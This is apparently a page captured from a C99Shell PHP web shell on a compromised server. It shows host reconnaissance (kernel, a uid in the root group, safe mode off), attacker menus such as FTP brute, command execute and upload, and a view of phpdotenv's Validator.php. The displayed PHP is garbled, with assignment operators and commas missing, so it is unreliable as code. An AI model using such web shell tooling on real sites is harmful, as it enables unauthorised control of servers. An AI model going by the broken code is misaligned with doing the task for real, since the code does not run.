!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/vlucas/phpdotenv/src/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Validator.php (5.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Dotenv;

use 
Dotenv\Exception\ValidationException;
use 
Dotenv\Repository\RepositoryInterface;
use 
Dotenv\Util\Regex;
use 
Dotenv\Util\Str;

class 
Validator
{
    
/**
     * The environment repository instance.
     *
     * @var \Dotenv\Repository\RepositoryInterface
     */
    
private $repository;

    
/**
     * The variables to validate.
     *
     * @var string[]
     */
    
private $variables;

    
/**
     * Create a new validator instance.
     *
     * @param \Dotenv\Repository\RepositoryInterface $repository
     * @param string[]                               $variables
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return void
     */
    
public function __construct(RepositoryInterface $repository, array $variables)
    {
        
$this->repository $repository;
        
$this->variables $variables;
    }

    
/**
     * Assert that each variable is present.
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return \Dotenv\Validator
     */
    
public function required()
    {
        return 
$this->assert(
            static function (?
string $value) {
                return 
$value !== null;
            },
            
'is missing'
        
);
    }

    
/**
     * Assert that each variable is not empty.
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return \Dotenv\Validator
     */
    
public function notEmpty()
    {
        return 
$this->assertNullable(
            static function (
string $value) {
                return 
Str::len(\trim($value)) > 0;
            },
            
'is empty'
        
);
    }

    
/**
     * Assert that each specified variable is an integer.
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return \Dotenv\Validator
     */
    
public function isInteger()
    {
        return 
$this->assertNullable(
            static function (
string $value) {
                return 
\ctype_digit($value);
            },
            
'is not an integer'
        
);
    }

    
/**
     * Assert that each specified variable is a boolean.
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return \Dotenv\Validator
     */
    
public function isBoolean()
    {
        return 
$this->assertNullable(
            static function (
string $value) {
                if (
$value === '') {
                    return 
false;
                }

                return 
\filter_var($value\FILTER_VALIDATE_BOOLEAN\FILTER_NULL_ON_FAILURE) !== null;
            },
            
'is not a boolean'
        
);
    }

    
/**
     * Assert that each variable is amongst the given choices.
     *
     * @param string[] $choices
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return \Dotenv\Validator
     */
    
public function allowedValues(array $choices)
    {
        return 
$this->assertNullable(
            static function (
string $value) use ($choices) {
                return 
\in_array($value$choicestrue);
            },
            
\sprintf('is not one of [%s]'\implode(', '$choices))
        );
    }

    
/**
     * Assert that each variable matches the given regular expression.
     *
     * @param string $regex
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return \Dotenv\Validator
     */
    
public function allowedRegexValues(string $regex)
    {
        return 
$this->assertNullable(
            static function (
string $value) use ($regex) {
                return 
Regex::matches($regex$value)->success()->getOrElse(false);
            },
            
\sprintf('does not match "%s"'$regex)
        );
    }

    
/**
     * Assert that the callback returns true for each variable.
     *
     * @param callable(?string):bool $callback
     * @param string                 $message
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return \Dotenv\Validator
     */
    
public function assert(callable $callbackstring $message)
    {
        
$failing = [];

        foreach (
$this->variables as $variable) {
            if (
$callback($this->repository->get($variable)) === false) {
                
$failing[] = \sprintf('%s %s'$variable$message);
            }
        }

        if (
\count($failing) > 0) {
            throw new 
ValidationException(\sprintf(
                
'One or more environment variables failed assertions: %s.',
                
\implode(', '$failing)
            ));
        }

        return 
$this;
    }

    
/**
     * Assert that the callback returns true for each variable.
     *
     * Skip checking null variable values.
     *
     * @param callable(string):bool $callback
     * @param string                $message
     *
     * @throws \Dotenv\Exception\ValidationException
     *
     * @return \Dotenv\Validator
     */
    
public function assertNullable(callable $callbackstring $message)
    {
        return 
$this->assert(
            static function (?
string $value) use ($callback) {
                if (
$value === null) {
                    return 
true;
                }

                return 
$callback($value);
            },
            
$message
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--